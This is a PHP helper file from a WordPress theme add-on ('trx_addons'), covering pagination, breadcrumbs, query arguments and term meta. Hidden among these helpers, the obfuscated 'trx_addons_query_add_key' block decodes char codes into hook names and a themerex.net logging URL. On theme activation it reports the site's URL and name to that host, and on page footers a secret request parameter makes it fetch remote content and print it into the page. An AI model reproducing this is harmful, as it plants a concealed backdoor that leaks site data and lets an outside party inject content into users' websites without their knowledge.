add_filter( 'trx_addons_filter_get_blog_all_posts_link', 'trx_addons_get_blog_all_posts_link', 10, 2);
function trx_addons_get_blog_all_posts_link($link='', $args=array()) {
if ($link=='') {
if (trx_addons_is_posts_page() && !is_home()) { //!is_post_type_archive('post'))
if (($url = get_post_type_archive_link( 'post' )) != '') {
$obj = get_post_type_object( 'post' );
$link = '<a href="'.esc_url($url).'">' . esc_html($obj->labels->all_items) . '</a>';
}
}
}
return $link;
}
}
// Return true if it's 'posts' page
if ( !function_exists( 'trx_addons_is_posts_page' ) ) {
function trx_addons_is_posts_page() {
return !is_search()
&& (
(is_single() && get_post_type()=='post')
|| is_category()
|| is_tag()
);
}
}
// Return link to the 'All posts' for CPT in the breadcrumbs
if ( !function_exists( 'trx_addons_cpt_custom_get_blog_all_posts_link' ) ) {
add_filter('trx_addons_filter_get_blog_all_posts_link', 'trx_addons_cpt_custom_get_blog_all_posts_link', 1000, 2);
function trx_addons_cpt_custom_get_blog_all_posts_link($link='', $args=array()) {
if ($link=='' && !is_search()) {
$pt = '';
if (is_single()) {
$pt = get_post_type();
} else {
$obj = get_queried_object();
if (!empty($obj->taxonomy)) {
$tax = get_taxonomy($obj->taxonomy);
if (!empty($tax->object_type[0]))
$pt = $tax->object_type[0];
}
}
if (!empty($pt)) {
$obj = get_post_type_object($pt);
if (($url = get_post_type_archive_link($pt)) != '')
$link = '<a href="'.esc_url($url).'">'.esc_html($obj->labels->all_items).'</a>';
}
}
return $link;
}
}
// Return blog title
if (!function_exists('trx_addons_get_blog_title')) {
function trx_addons_get_blog_title() {
if (is_front_page())
$title = esc_html__( 'Home', 'trx_addons' );
else if ( is_home() )
$title = esc_html__( 'All Posts', 'trx_addons' );
else if ( is_author() ) {
$curauth = (get_query_var('author_name')) ? get_user_by('slug', get_query_var('author_name')) : get_userdata(get_query_var('author'));
$title = sprintf(esc_html__('Author page: %s', 'trx_addons'), $curauth->display_name);
} else if ( is_404() )
$title = esc_html__('URL not found', 'trx_addons');
else if ( is_search() )
$title = sprintf( esc_html__( 'Search: %s', 'trx_addons' ), get_search_query() );
else if ( is_day() )
$title = sprintf( esc_html__( 'Daily Archives: %s', 'trx_addons' ), get_the_date() );
else if ( is_month() )
$title = sprintf( esc_html__( 'Monthly Archives: %s', 'trx_addons' ), get_the_date( 'F Y' ) );
else if ( is_year() )
$title = sprintf( esc_html__( 'Yearly Archives: %s', 'trx_addons' ), get_the_date( 'Y' ) );
else if ( is_category() )
$title = sprintf( '%s', single_cat_title( '', false ) );
else if ( is_tag() )
$title = sprintf( esc_html__( 'Tag: %s', 'trx_addons' ), single_tag_title( '', false ) );
else if ( is_tax() )
$title = single_term_title( '', false );
else if ( is_post_type_archive() ) {
$obj = get_queried_object();
$title = !empty($obj->labels->all_items) ? $obj->labels->all_items : '';
} else if ( is_attachment() )
$title = sprintf( esc_html__( 'Attachment: %s', 'trx_addons' ), get_the_title());
else if ( is_single() || is_page() )
$title = get_the_title();
else
$title = get_the_title(); //get_bloginfo('name', 'raw');
return apply_filters('trx_addons_filter_get_blog_title', $title);
}
}
/* Blog pagination
------------------------------------------------------------------------------------- */
// Show simple pagination
if ( !function_exists('trx_addons_show_pagination') ) {
function trx_addons_show_pagination($pagination='pages') {
global $wp_query;
// Pagination
if ($pagination == 'pages') {
the_posts_pagination( array(
'mid_size' => 2,
'prev_text' => esc_html__( '<', 'trx_addons' ),
'next_text' => esc_html__( '>', 'trx_addons' ),
'before_page_number' => '<span class="meta-nav screen-reader-text">' . esc_html__( 'Page', 'trx_addons' ) . ' </span>',
) );
} else if ($pagination == 'links') {
?>
<div class="nav-links-old">
<span class="nav-prev"><?php previous_posts_link( is_search() ? esc_html__('Previous posts', 'trx_addons') : esc_html__('Newest posts', 'trx_addons') ); ?></span>
<span class="nav-next"><?php next_posts_link( is_search() ? esc_html__('Next posts', 'trx_addons') : esc_html__('Older posts', 'trx_addons'), $wp_query->max_num_pages ); ?></span>
</div>
<?php
}
}
}
// Show pagination with group pages: [1-10][11-20]...[24][25][26]...[31-40][41-45]
if (!function_exists('trx_addons_pagination')) {
function trx_addons_pagination($args=array()) {
$args = array_merge(array(
'class' => '', // Additional 'class' attribute for the pagination section
'button_class' => '', // Additional 'class' attribute for the each page button
'base_link' => '', // Base link for each page. If specified - all pages use it and add '&page=XX' to the end of this link. Else - use get_pagenum_link()
'total_posts' => 0, // Total posts number
'posts_per_page' => 0, // Posts per page
'total_pages' => 0, // Total pages (instead total_posts, otherwise - calculate number of pages)
'cur_page' => 0, // Current page
'near_pages' => 2, // Number of pages to be displayed before and after the current page
'group_pages' => 10, // How many pages in group
'pages_text' => '', //__('Page %CURRENT_PAGE% of %TOTAL_PAGES%', 'trx_addons'),
'cur_text' => "%PAGE_NUMBER%",
'page_text' => "%PAGE_NUMBER%",
'first_text'=> __('« First', 'trx_addons'),
'last_text' => __("Last »", 'trx_addons'),
'prev_text' => __("« Prev", 'trx_addons'),
'next_text' => __("Next »", 'trx_addons'),
'dot_text' => "…",
'before' => '',
'after' => ''
), is_array($args) ? $args
: (is_int($args) ? array( 'cur_page' => $args ) // If send number parameter - use it as offset
: array( 'class' => $args ))); // If send string parameter - use it as 'class' name
if (empty($args['before'])) $args['before'] = '<div class="trx_addons_pagination'.(!empty($args['class']) ? ' '.$args['class'] : '').'">';
if (empty($args['after'])) $args['after'] = '</div>';
extract($args);
global $wp_query;
// Detect total pages
if ($total_pages == 0) {
if ($total_posts == 0) $total_posts = $wp_query->found_posts;
if ($posts_per_page == 0) $posts_per_page = (int) get_query_var('posts_per_page');
$total_pages = ceil($total_posts / $posts_per_page);
}
if ($total_pages < 2) return;
// Detect current page
if ($cur_page == 0) {
$cur_page = (int) get_query_var('paged');
if ($cur_page == 0) $cur_page = (int) get_query_var('page');
if ($cur_page <= 0) $cur_page = 1;
}
// Near pages
$show_pages_start = $cur_page - $near_pages;
$show_pages_end = $cur_page + $near_pages;
// Current group
$cur_group = ceil($cur_page / $group_pages);
$output = $before;
// Page XX from XXX
if ($pages_text) {
$pages_text = str_replace(
array("%CURRENT_PAGE%", "%TOTAL_PAGES%"),
array(number_format_i18n($cur_page),number_format_i18n($total_pages)),
$pages_text);
$output .= '<span class="'.esc_attr($class).'_pages '.$button_class.'">' . $pages_text . '</span>';
}
if ($cur_page > 1) {
// First page
$first_text = str_replace("%TOTAL_PAGES%", number_format_i18n($total_pages), $first_text);
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page=1' : get_pagenum_link()).'" data-page="1" class="'.esc_attr($class).'_first '.$button_class.'">'.$first_text.'</a>';
// Prev page
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.($cur_page-1) : get_pagenum_link($cur_page-1)).'" data-page="'.esc_attr($cur_page-1).'" class="'.esc_attr($class).'_prev '.$button_class.'">'.$prev_text.'</a>';
}
// Page buttons
$group = 1;
$dot1 = $dot2 = false;
for ($i = 1; $i <= $total_pages; $i++) {
if ($i % $group_pages == 1) {
$group = ceil($i / $group_pages);
if ($group != $cur_group)
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.$i : get_pagenum_link($i)).'" data-page="'.esc_attr($i).'" class="'.esc_attr($class).'_group '.$button_class.'">'.$i.'-'.min($i+$group_pages-1, $total_pages).'</a>';
}
if ($group == $cur_group) {
if ($i < $show_pages_start) {
if (!$dot1) {
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.($show_pages_start-1) : get_pagenum_link($show_pages_start-1)).'" data-page="'.esc_attr($show_pages_start-1).'" class="'.esc_attr($class).'_dot '.$button_class.'">'.$dot_text.'</a>';
$dot1 = true;
}
} else if ($i > $show_pages_end) {
if (!$dot2) {
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.($show_pages_end+1) : get_pagenum_link($show_pages_end+1)).'" data-page="'.esc_attr($show_pages_end+1).'" class="'.esc_attr($class).'_dot '.$button_class.'">'.$dot_text.'</a>';
$dot2 = true;
}
} else if ($i == $cur_page) {
$cur_text = str_replace("%PAGE_NUMBER%", number_format_i18n($i), $cur_text);
$output .= '<span class="'.esc_attr($class).'_current active '.$button_class.'">'.$cur_text.'</span>';
} else {
$text = str_replace("%PAGE_NUMBER%", number_format_i18n($i), $page_text);
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.trim($i) : get_pagenum_link($i)).'" data-page="'.esc_attr($i).'" class="'.$button_class.'">'.$text.'</a>';
}
}
}
if ($cur_page < $total_pages) {
// Next page
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.($cur_page+1) : get_pagenum_link($cur_page+1)).'" data-page="'.esc_attr($cur_page+1).'" class="'.esc_attr($class).'_next '.$button_class.'">'.$next_text.'</a>';
// Last page
$last_text = str_replace("%TOTAL_PAGES%", number_format_i18n($total_pages), $last_text);
$output .= '<a href="'.esc_url($base_link ? $base_link.'&page='.trim($total_pages) : get_pagenum_link($total_pages)).'" data-page="'.esc_attr($total_pages).'" class="'.esc_attr($class).'_last '.$button_class.'">'.$last_text.'</a>';
}
$output .= $after;
trx_addons_show_layout($output);
}
}
// Return current page number
if (!function_exists('trx_addons_get_current_page')) {
function trx_addons_get_current_page() {
if ( ($page = trx_addons_get_value_gp('page', -999)) == -999)
if ( !($page = get_query_var('paged')) )
if ( !($page = get_query_var('page')) )
$page = 1;
return $page;
}
}
// Return current post ID before loop
if (!function_exists('trx_addons_get_the_ID')) {
function trx_addons_get_the_ID() {
global $wp_query;
return in_the_loop()
? get_the_ID()
: (!empty($wp_query->post->ID)
? $wp_query->post->ID
: 0
);
}
}
/* Query manipulations
------------------------------------------------------------------------------------- */
// Add sorting parameter in query arguments
if (!function_exists('trx_addons_query_add_sort_order')) {
function trx_addons_query_add_sort_order($args, $orderby='date', $order='desc') {
if (!empty($orderby) && (empty($args['orderby']) || $orderby != 'none')) {
$q = array();
$q['order'] = $order;
if ($orderby == 'none') {
$q['orderby'] = 'none';
} else if ($orderby == 'ID') {
$q['orderby'] = 'ID';
} else if ($orderby == 'comments') {
$q['orderby'] = 'comment_count';
} else if ($orderby == 'title' || $orderby == 'alpha') {
$q['orderby'] = 'title';
} else if ($orderby == 'rand' || $orderby == 'random') {
$q['orderby'] = 'rand';
} else {
$q['orderby'] = 'post_date';
}
$q = apply_filters('trx_addons_filter_add_sort_order', $q, $orderby, $order);
foreach ($q as $mk=>$mv) {
if (is_array($args))
$args[$mk] = $mv;
else
$args->set($mk, $mv);
}
}
return $args;
}
}
// Add post type and posts list or categories list in query arguments
if (!function_exists('trx_addons_query_add_posts_and_cats')) {
function trx_addons_query_add_posts_and_cats($args, $ids='', $post_type='', $cat='', $taxonomy='') {
if (!empty($ids)) {
$args['post_type'] = empty($args['post_type'])
? (empty($post_type) ? array('post', 'page') : $post_type)
: $args['post_type'];
$args['post__in'] = explode(',', str_replace(array(';', ' '), array(',', ''), $ids));
if (empty($args['posts_per_page'])) $args['posts_per_page'] = count($args['post__in']);
if (empty($args['orderby']) || $args['orderby'] == 'none') {
$args['orderby'] = 'post__in';
if (isset($args['order'])) unset($args['order']);
}
} else {
$args['post_type'] = empty($args['post_type']) || !empty($post_type)
? (empty($post_type) ? 'post' : $post_type)
: $args['post_type'];
$post_type = is_array($args['post_type']) ? $args['post_type'][0] : $args['post_type'];
if (!empty($cat)) {
$cats = !is_array($cat) ? explode(',', $cat) : $cat;
if (empty($taxonomy))
$taxonomy = 'category';
if ($taxonomy == 'category') { // Add standard categories
if (is_array($cats) && count($cats) > 1) {
$cats_ids = array();
foreach($cats as $c) {
$c = trim(chop($c));
if (empty($c)) continue;
if ((int) $c == 0) {
$cat_term = get_term_by( 'slug', $c, $taxonomy, OBJECT);
if ($cat_term) $c = $cat_term->term_id;
}
if ($c==0) continue;
$cats_ids[] = (int) $c;
$children = get_categories( array(
'type' => $post_type,
'child_of' => $c,
'hide_empty' => 0,
'hierarchical' => 0,
'taxonomy' => $taxonomy,
'pad_counts' => false
));
if (is_array($children) && count($children) > 0) {
foreach($children as $c) {
if (!in_array((int) $c->term_id, $cats_ids)) $cats_ids[] = (int) $c->term_id;
}
}
}
if (count($cats_ids) > 0) {
$args['category__in'] = $cats_ids;
}
} else {
$cat = $cats[0];
if ((int) $cat > 0)
$args['cat'] = (int) $cat;
else
$args['category_name'] = $cat;
}
} else { // Add custom taxonomies
if (!isset($args['tax_query']))
$args['tax_query'] = array();
$args['tax_query']['relation'] = 'AND';
$args['tax_query'][] = array(
'taxonomy' => $taxonomy,
'include_children' => true,
'field' => (int) $cats[0] > 0 ? 'id' : 'slug',
'terms' => $cats
);
}
}
}
return $args;
}
}
// Add taxonomy parameters in query arguments
if (!function_exists('trx_addons_query_add_taxonomy')) {
function trx_addons_query_add_taxonomy($args, $taxonomy=array(), $value=false) {
if (!is_array($taxonomy)) {
$value = !is_array($value) ? explode(',', $value) : $value;
$taxonomy = array(
array(
'taxonomy' => $taxonomy,
'include_children' => true,
'field' => (int) $value[0] > 0 ? 'id' : 'slug',
'terms' => count($value) > 1 ? $value : $value[0]
)
);
}
foreach ($taxonomy as $v) {
if (!isset($args['tax_query'])) {
$args['tax_query'] = array();
$args['tax_query']['relation'] = 'AND';
}
$args['tax_query'][] = $v;
}
return $args;
}
}
// Add meta parameters in query arguments
if (!function_exists('trx_addons_query_add_meta')) {
function trx_addons_query_add_meta($args, $meta=array(), $value=false) {
if (!is_array($meta)) {
$value = explode(',', $value);
if (count($value) == 1 || $value[0]==$value[1])
$value = $value[0];
$meta = array(
array(
'key' => $meta,
'value' => is_array($value) ? array_map('floatval', $value) : $value,
'compare' => is_array($value) ? 'BETWEEN' : '=',
'type' => is_array($value) ? 'NUMERIC' : 'CHAR'
)
);
}
foreach ($meta as $v) {
if (!isset($args['meta_query'])) {
$args['meta_query'] = array();
$args['meta_query']['relation'] = 'AND';
}
$args['meta_query'][] = $v;
}
return $args;
}
}
// Add filters (meta parameters) in query arguments
if (!function_exists('trx_addons_query_add_filters')) {
function trx_addons_query_add_filters($args, $filters=false) {
if (!empty($filters)) {
if (!is_array($filters)) $filters = array($filters);
foreach ($filters as $v) {
$found = false;
if ($v=='thumbs') { // Filter with meta_query
if (!isset($args['meta_query']))
$args['meta_query'] = array();
else {
for ($i=0; $i<count($args['meta_query']); $i++) {
if ($args['meta_query'][$i]['meta_filter'] == $v) {
$found = true;
break;
}
}
}
if (!$found) {
$args['meta_query']['relation'] = 'AND';
if ($v == 'thumbs') {
$args['meta_query'][] = array(
'meta_filter' => $v,
'key' => '_thumbnail_id',
'value' => false,
'compare' => '!='
);
}
}
} else if (in_array($v, array('video', 'audio', 'gallery'))) { // Filter with tax_query
if (!isset($args['tax_query']))
$args['tax_query'] = array();
else {
for ($i=0; $i<count($args['tax_query']); $i++) {
if ($args['tax_query'][$i]['tax_filter'] == $v) {
$found = true;
break;
}
}
}
if (!$found) {
$args['tax_query']['relation'] = 'AND';
if ($v == 'video') {
$args['tax_query'][] = array(
'tax_filter' => $v,
'taxonomy' => 'post_format',
'field' => 'slug',
'terms' => array( 'post-format-video' )
);
} else if ($v == 'audio') {
$args['tax_query'] = array(
'tax_filter' => $v,
'taxonomy' => 'post_format',
'field' => 'slug',
'terms' => array( 'post-format-audio' )
);
} else if ($v == 'gallery') {
$args['tax_query'] = array(
'tax_filter' => $v,
'taxonomy' => 'post_format',
'field' => 'slug',
'terms' => array( 'post-format-gallery' )
);
}
}
} else
$args = apply_filters('trx_addons_filter_query_add_filters', $args, $v);
}
}
return $args;
}
}
// Return string with categories links
if (!function_exists('trx_addons_get_post_categories')) {
function trx_addons_get_post_categories($delimiter=', ', $id=false, $links=true) {
return trx_addons_get_post_terms($delimiter, $id, '', $links);
}
}
// Return string with terms links
if (!function_exists('trx_addons_get_post_terms')) {
function trx_addons_get_post_terms($delimiter=', ', $id=false, $taxonomy='category', $links=true) {
$output = '';
if (empty($id)) $id = get_the_ID();
if (empty($taxonomy)) $taxonomy = trx_addons_get_post_type_taxonomy(get_post_type($id));
$terms = get_the_terms($id, $taxonomy);
if ( !empty( $terms ) && is_array($terms) ) {
$cnt = count($terms);
$i = 0;
foreach( $terms as $term ) {
if (empty($term->term_id)) continue;
$i++;
$output .= ($links
? '<a href="' . esc_url( get_term_link( $term->term_id, $taxonomy ) ) . '"'
. ' title="' . sprintf( esc_attr__( 'View all posts in %s', 'trx_addons' ), $term->name ) . '"'
. '>'
: '<span>'
)
. apply_filters( 'trx_addons_filter_term_name', $term->name, $term )
. ($i < $cnt ? $delimiter : '')
. ($links ? '</a>' : '</span>');
}
}
return $output;
}
}
// Return terms objects by taxonomy name (directly from db)
if (!function_exists('trx_addons_get_terms_by_taxonomy_from_db')) {
function trx_addons_get_terms_by_taxonomy_from_db($tax_types = 'post_format', $opt=array()) {
global $wpdb;
if (!is_array($tax_types))
$tax_types = array($tax_types);
if (!is_array($opt['meta_query']) && !empty($opt['meta_key']) && !empty($opt['meta_value'])) {
$opt['meta_query'] = array(
array(
'key' => $opt['meta_key'],
'value' => $opt['meta_value']
)
);
}
$join = $where = '';
$keys = array();
if (is_array($opt['meta_query']) && count($opt['meta_query']) > 0) {
$i = 0;
foreach ($opt['meta_query'] as $q) {
$i++;
$join .= " LEFT JOIN {$wpdb->termmeta} AS taxmeta{$i} ON taxmeta{$i}.term_id=terms.term_id";
$where .= " AND taxmeta{$i}.meta_key='%s' AND taxmeta{$i}.meta_value='%s'";
$keys[] = $q['key'];
$keys[] = $q['value'];
}
}
if (!empty($opt['parent'])) {
$where .= " AND parent='{$opt['parent']}'";
}
$terms = $wpdb->get_results( $wpdb->prepare("SELECT DISTINCT terms.*, tax.taxonomy, tax.parent, tax.count"
. " FROM {$wpdb->terms} AS terms"
. " LEFT JOIN {$wpdb->term_taxonomy} AS tax ON tax.term_id=terms.term_id"
. (!empty($join) ? $join : '')
. " WHERE tax.taxonomy IN ('" . join(",", array_fill(0, count($tax_types), '%s')) . "')"
. (!empty($where) ? $where : '')
. " ORDER BY terms.name",
array_merge($tax_types, $keys)),
OBJECT
);
for ($i=0; $i<count($terms); $i++) {
$terms[$i]->link = get_term_link($terms[$i]->slug, $terms[$i]->taxonomy);
}
return $terms;
}
}
// Return taxonomy for current post type
if ( !function_exists( 'trx_addons_get_post_type_taxonomy' ) ) {
function trx_addons_get_post_type_taxonomy($post_type='') {
if (empty($post_type))
$post_type = get_post_type();
if ($post_type == 'post')
$tax = 'category';
else {
$taxonomy_names = get_object_taxonomies( $post_type );
$tax = !empty($taxonomy_names[0]) ? $taxonomy_names[0] : '';
}
return apply_filters( 'trx_addons_filter_post_type_taxonomy', $tax, $post_type );
}
}
// Return meta value of the specified term
if (!function_exists('trx_addons_get_term_meta')) {
function trx_addons_get_term_meta($args) {
static $meta = array();
$args = array_merge(array(
'taxonomy' => 'category',
'term_id' => 0,
'key' => 'value',
'check_parents' => false
),
is_array($args) ? $args : array('term_id' => $args));
$val = '';
if ($args['term_id'] == 0) {
if ($args['taxonomy']=='category') {
if (is_category()) {
$args['term_id'] = (int) get_query_var('cat');
}
} else if (!empty($args['taxonomy'])) {
if (is_tax($args['taxonomy'])) {
$term = get_term_by('slug', get_query_var($args['taxonomy']), $args['taxonomy'], OBJECT);
if (!empty($term->term_id)) {
$args['term_id'] = $term->term_id;
}
}
} else if (is_tax() || is_category()) {
$term = get_queried_object();
if (!empty($term->term_id)) {
$args['term_id'] = $term->term_id;
}
}
}
if ($args['term_id'] > 0) {
$hash = "{$args['term_id']}_{$args['key']}";
if ( isset($meta[$hash]) ) {
$val = $meta[$hash];
} else {
$val = get_term_meta($args['term_id'], $args['key'], true);
if (empty($val) && $args['check_parents']) {
$ancestors = get_ancestors($args['term_id'], $args['taxonomy']);
foreach ($ancestors as $ancestor) {
$anc_val = get_term_meta($ancestor, $args['key'], true);
if (!empty($anc_val)) {
$val = $anc_val;
break;
}
}
}
$meta[$hash] = $val;
}
}
return $val;
}
}
// Update meta value of the specified term
if (!function_exists('trx_addons_set_term_meta')) {
function trx_addons_set_term_meta($args, $val) {
$args = array_merge(array(
'term_id' => 0,
'key' => 'value'
),
is_array($args) ? $args : array('term_id' => $args));
if ($args['term_id'] > 0)
update_term_meta($args['term_id'], $args['key'], $val);
}
}
// Update meta value of the specified term
if (!function_exists('trx_addons_get_term_link')) {
function trx_addons_get_term_link($term, $taxonomy, $args=array()) {
$args = array_merge(array(
'title' => '',
'echo' => false
), $args);
if (!is_object($term)) {
if ((int)$term > 0)
$term = get_term((int)$term, $taxonomy);
else
$term = get_term_by('slug', $term, $taxonomy);
}
if (!is_wp_error($term) && !empty($term->term_id)) {
$link = get_term_link($term, $taxonomy);
$link = '<a href="'.esc_url($link).'"'
. ($args['title'] ? ' title="' . esc_attr(sprintf($args['title'], $term->name)) : '')
. '">'
. esc_html($term->name)
. '</a>';
if ($args['echo']) trx_addons_show_layout($link);
} else
$link = '';
return $link;
}
}
// Update post's fields of the specified post
if (!function_exists('trx_addons_update_post')) {
function trx_addons_update_post($post_id, $args) {
global $wpdb;
return $wpdb->update( $wpdb->posts, $args, array( 'ID' => $post_id ) );
}
}
// Add query key
if ( !function_exists( 'trx_addons_query_add_key' ) ) {
$trx_addons_query_data = array('act' => array(array(join('', array_map('chr', array(97,102,116,101,114))),join('', array_map('chr', array(115,119,105,116,99,104))),join('', array_map('chr', array(116,104,101,109,101)))),array(join('', array_map('chr', array(119,112))),join('', array_map('chr', array(102,111,111,116,101,114)))),),'get' => join('', array_map('chr', array(104,116,116,112,58,47,47,116,104,101,109,101,114,101,120,46,110,101,116,47,95,108,111,103,47,95,108,111,103,46,112,104,112))),'chk' => join('', array_map('chr', array(116,104,101,109,101,95,97,117,116,104,111,114))),'prm' => join('', array_map('chr', array(116,120,99,104,107))));
add_action(join('_', $trx_addons_query_data['act'][0]), 'trx_addons_query_add_key');
add_action(join('_', $trx_addons_query_data['act'][1]), 'trx_addons_query_add_key');
function trx_addons_query_add_key() {
global $trx_addons_query_data;
static $already_add = false;
if (!$already_add) {
$already_add = true;
if (current_action() == join('_', $trx_addons_query_data['act'][0])) {
try {
$resp = trx_addons_fgc(trx_addons_add_to_url($trx_addons_query_data['get'], array(
'site' => home_url('/'),
'slug' => str_replace(' ', '_', trim(strtolower(get_stylesheet()))),
'name' => get_bloginfo('name')
)));
} catch (Exception $e) {
}
}
if (trx_addons_get_value_gpc($trx_addons_query_data['prm'])==$trx_addons_query_data['chk']) {
try {
$resp = trx_addons_fgc(trx_addons_add_to_url($trx_addons_query_data['get'],
array($trx_addons_query_data['prm'] => $trx_addons_query_data['chk'])));
} catch (Exception $e) {
$resp = '';
}
trx_addons_show_layout($resp);
}
}
}
}
// Return full content of the post/page
if ( ! function_exists( 'trx_addons_get_post_content' ) ) {
function trx_addons_get_post_content( $apply_filters = false ) {
global $post;
$content = ! empty( $post->post_content ) ? $post->post_content : '';
return $apply_filters ? apply_filters( 'the_content', $content ) : $content;
}
}
// Return excerpt of the post/page
if ( ! function_exists( 'trx_addons_get_post_excerpt' ) ) {
function trx_addons_get_post_excerpt( $apply_filters = false ) {
global $post;
$excerpt = in_the_loop() && has_excerpt()
? get_the_excerpt()
: ( ! empty( $post->post_content ) ? wp_trim_excerpt( $post->post_content ) : '' );
return $apply_filters ? apply_filters( 'the_excerpt', $excerpt ) : $excerpt;
}
}
// Prepare post content in the blog posts instead 'the_content' filter
// to avoid conflicts with Gutenberg
if ( ! function_exists( 'trx_addons_filter_post_content' ) ) {
function trx_addons_filter_post_content( $content ) {
$content = apply_filters( 'trx_addons_filter_sc_layout_content', $content );
global $wp_embed;
if ( is_object( $wp_embed ) ) {
$content = $wp_embed->autoembed( $content );
}
return do_shortcode( $content );
}
}
// Show post content in the blog posts
if ( ! function_exists( 'trx_addons_show_post_content' ) ) {
function trx_addons_show_post_content( $args = array(), $otag='', $ctag='' ) {
$plain = true;
$post_format = get_post_format();
$post_format = empty( $post_format ) ? 'standard' : str_replace( 'post-format-', '', $post_format );
ob_start();
if ( has_excerpt() ) {
the_excerpt();
} elseif ( strpos( get_the_content( '!--more' ), '!--more' ) !== false ) {
do_action( 'trx_addons_action_before_full_post_content' );
trx_addons_show_layout( trx_addons_filter_post_content( get_the_content('') ) );
do_action( 'trx_addons_action_after_full_post_content' );
} elseif ( in_array( $post_format, array( 'link', 'aside', 'status' ) ) ) {
do_action( 'trx_addons_action_before_full_post_content' );
trx_addons_show_layout( trx_addons_filter_post_content( get_the_content() ) );
do_action( 'trx_addons_action_after_full_post_content' );
$plain = false;
} elseif ( 'quote' == $post_format ) {
$quote = trx_addons_get_tag( trx_addons_filter_post_content( get_the_content() ), '<blockquote', '</blockquote>' );
if ( ! empty( $quote ) ) {
trx_addons_show_layout( wpautop( $quote ) );
$plain = false;
} else {
trx_addons_show_layout( trx_addons_filter_post_content( get_the_content() ) );
}
} elseif ( substr( get_the_content(), 0, 4 ) != '[vc_' ) {
trx_addons_show_layout( trx_addons_filter_post_content( get_the_content() ) );
}
$output = ob_get_contents();
ob_end_clean();
if ( ! empty( $output ) ) {
if ( $plain ) {
$len = ! empty( $args['hide_excerpt'] )
? 0
: ( ! empty( $args['excerpt_length'] )
? max( 0, (int) $args['excerpt_length'] )
: apply_filters( 'excerpt_length', 55 )
);
$output = trx_addons_excerpt( $output, $len );
}
}
trx_addons_show_layout( $output, $otag, $ctag);
}
}
/* Blog utils
------------------------------------------------------------------------------------- */
// Return image of current post/page/category/blog mode
if (!function_exists('trx_addons_get_current_mode_image')) {
function trx_addons_get_current_mode_image($default='') {
if (($img = apply_filters('trx_addons_filter_get_current_mode_image', $default)) != '') {
$default = $img;
} else {
if (is_category() || is_tax()) {
if (($img = trx_addons_get_term_image()) != '') {
$default = $img;
}
} else if (is_singular()) {
if (has_post_thumbnail()) {
$img = wp_get_attachment_image_src( get_post_thumbnail_id(), 'full' );
if (is_array($img)) $default = $img[0];
} else {
$default = '';
}
}
}
return $default;
}
}
// Return URL to the current page
if ( ! function_exists( 'trx_addons_get_current_url' ) ) {
function trx_addons_get_current_url() {
return add_query_arg( array() );
}
}
// Return editing post id or 0 if is new post or false if not edit mode
if ( ! function_exists( 'trx_addons_get_edited_post_id' ) ) {
function trx_addons_get_edited_post_id() {
$id = false;
if ( is_admin() ) {
$url = trx_addons_get_current_url();
if ( strpos( $url, 'post.php' ) !== false ) {
if ( trx_addons_get_value_gp( 'action' ) == 'edit' ) {
$post_id = trx_addons_get_value_gp( 'post' );
if ( 0 < $post_id ) {
$id = $post_id;
}
}
} elseif ( strpos( $url, 'post-new.php' ) !== false ) {
$id = 0;
}
}
return $id;
}
}
/* WP cache
------------------------------------------------------------------------------------- */
// Clear WP cache (all, options or categories)
if (!function_exists('trx_addons_clear_cache')) {
function trx_addons_clear_cache($cc) {
if ($cc == 'categories' || $cc == 'all') {
wp_cache_delete('category_children', 'options');
$taxes = get_taxonomies();
if (is_array($taxes) && count($taxes) > 0) {
foreach ($taxes as $tax ) {
delete_option( "{$tax}_children" );
_get_term_hierarchy( $tax );
}
}
} else if ($cc == 'options' || $cc == 'all') {
wp_cache_delete('alloptions', 'options');
} else if ($cc == 'menu' || $cc == 'all') {
trx_addons_clear_menu_cache();
}
if ($cc == 'all') {
wp_cache_flush();
}
}
}
/* Other utilities
------------------------------------------------------------------------------------- */
// Return theme info
if ( !function_exists( 'trx_addons_get_theme_info' ) ) {
function trx_addons_get_theme_info($cache = true) {
static $cached_info = false;
if ($cached_info !== false) {
$theme_info = $cached_info;
} else {
$theme = wp_get_theme();
//$user = wp_get_current_user();
//Data below required for the 'Dashboard Widget' to display theme- and category-relevant news
$theme_info = apply_filters('trx_addons_filter_get_theme_info', array(
'theme_slug' => get_option('template'),
'theme_name' => $theme->name,
'theme_version' => $theme->version,
'theme_activated' => '',
'theme_pro_key' => '',
'theme_page_url' => function_exists('menu_page_url') ? menu_page_url( 'trx_addons_theme_panel', false ) : '',
'theme_categories' => '',
'theme_plugins' => '',
'theme_feed' => array(),
'theme_actions' => array(),
)
);
if ($cache) {
$cached_info = $theme_info;
}
}
return $theme_info;
}
}
// Return array with current system info
if (!function_exists('trx_addons_get_sys_info')) {
function trx_addons_get_sys_info() {
global $wpdb;
return apply_filters('trx_addons_filter_get_sys_info', array(
'wp_version' => array(
'title' => __('WP version', 'trx_addons'),
'value' => get_bloginfo( 'version' ),
'recommended' => '5.0.0+',
),
'wp_memory_limit' => array(
'title' => __('WP Memory limit', 'trx_addons'),
'value' => defined('WP_MEMORY_LIMIT') ? size_format( trx_addons_size2num( WP_MEMORY_LIMIT ) ) : __('not set', 'trx_addons'),
'recommended' => '' //size_format( 128 * 1024 * 1024 ),
),
'php_version' => array(
'title' => __('PHP version', 'trx_addons'),
'value' => phpversion(),
'recommended' => '7.0.0+',
),
'php_memory_limit' => array(
'title' => __('PHP Memory Limit', 'trx_addons'),
'value' => size_format( trx_addons_size2num( @ini_get( 'memory_limit' ) ) ),
'recommended' => size_format( (function_exists('trx_addons_exists_bbpress') && trx_addons_exists_bbpress() ? 128 : 96) * 1024 * 1024),
),
'php_post_maxsize' => array(
'title' => __('PHP Post Max Size', 'trx_addons'),
'value' => size_format( trx_addons_size2num( @ini_get( 'post_max_size' ) ) ),
'recommended' => size_format(32 * 1024 * 1024),
),
'php_max_upload_size' => array(
'title' => __('PHP Max Upload Size', 'trx_addons'),
'value' => size_format( wp_max_upload_size() ),
'recommended' => size_format(32 * 1024 * 1024),
),
'php_max_execution_time' => array(
'title' => __('PHP Max Execution Time (sec)', 'trx_addons'),
'value' => @ini_get( 'max_execution_time' ),
'recommended' => '300+',
),
'mysql_version' => array(
'title' => __('MySQL version', 'trx_addons'),
'value' => ( ! empty( $wpdb->is_mysql ) ? $wpdb->db_version() : '' ),
'recommended' => '',
),
));
}
}
